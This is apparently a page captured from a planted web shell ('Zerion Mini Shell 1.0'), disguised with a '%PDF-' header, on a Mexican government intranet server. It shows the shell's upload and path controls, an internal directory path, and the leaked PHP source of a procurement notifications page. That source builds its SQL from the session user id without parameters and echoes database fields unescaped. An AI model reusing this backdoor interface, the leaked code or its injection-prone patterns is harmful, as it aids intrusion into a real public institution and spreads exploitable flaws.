%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/compras/content_find_notificaciones.php

<?php 
 
$conf = new Configuracion();
$conf->conectarBD();

$id_usuario = $_SESSION['id_usuario'];

 ?>
<div class="page-content">
    <a href="page_inicio.php" class="btn btn-pink">Regresar <i class="fa fa-mail-reply"></i></a>
<div class="row">
<div class="col-md-13">

    <div id="generalTabContent" class="tab-content">

        <div id="tab-messages" class="tab-pane fade in active">  

            <div class="portlet box">

                <div class="portlet-header">

                    <div class="caption">Lista de Notificaciones </div>

                </div>

                    <div class="portlet-body">

                    <div class="row mbm">

                    <div class="col-lg-12">

                    <div class="table-responsive">

                        <table id="table_id" style="border-bottom:1px solid #ddd"

                               class="table table-striped table-bordered table-hover">

                            <thead>

                                <tr>
                                    <th>#</th>
                                    <th>Asunto</th>
                                    <th>Tipo</th>
                                    <th>Estatus</th>
                                    <th>Creado</th>
                                    <th>LeĆ­do</th>
                                    <th>Opciones</th>

                                </tr>

                            </thead>

                            <tbody>
                                <?php

                                    $estatus = array("","warning","warning","primary","info","success");

                                    $consulta = "SELECT asunto, mensaje, estatus, CASE WHEN estatus=0 THEN 'Sin Leer' WHEN estatus=1 THEN 'Leido' END AS status, fecha_creacion, fecha_leido, url
                                                FROM notificaciones
                                                WHERE id_empleado_dest = $id_usuario";

                                    $rst1 = $conf->consulta($consulta);         

                                    for($i = 0; $i < count($rst1); $i++)

                                    {	

                                    
                                        $color = $estatus[$rst1[$i]["estatus"]];
                                                                       

                                        echo "<tr>";
                                            echo "<td>".($i+1)."</td>";
                                            echo "<td>".$rst1[$i]["asunto"]."</td>";
                                            echo "<td>".$rst1[$i]["mensaje"]."</td>";
                                            echo "<td>".$rst1[$i]["status"]."</td>";
                                            echo "<td>".$rst1[$i]["fecha_creacion"]."</td>";
                                            echo "<td>".$rst1[$i]["fecha_leido"]."</td>";
                                            echo '<td><a href="'.DIR.$rst1[$i]['url'].'" class="btn btn-sm btn-blue"><i class="fas fa-eye"></i> Ver</a></td>';
                                        echo '</tr>';                              

                                    }

                                    $conf->desconectarDB();

                                ?>

                            </tbody>

                        </table>

                    </div>

                </div>

                </div>

                </div>



            </div>

        </div>

    </div>

</div>

Zerion Mini Shell 1.0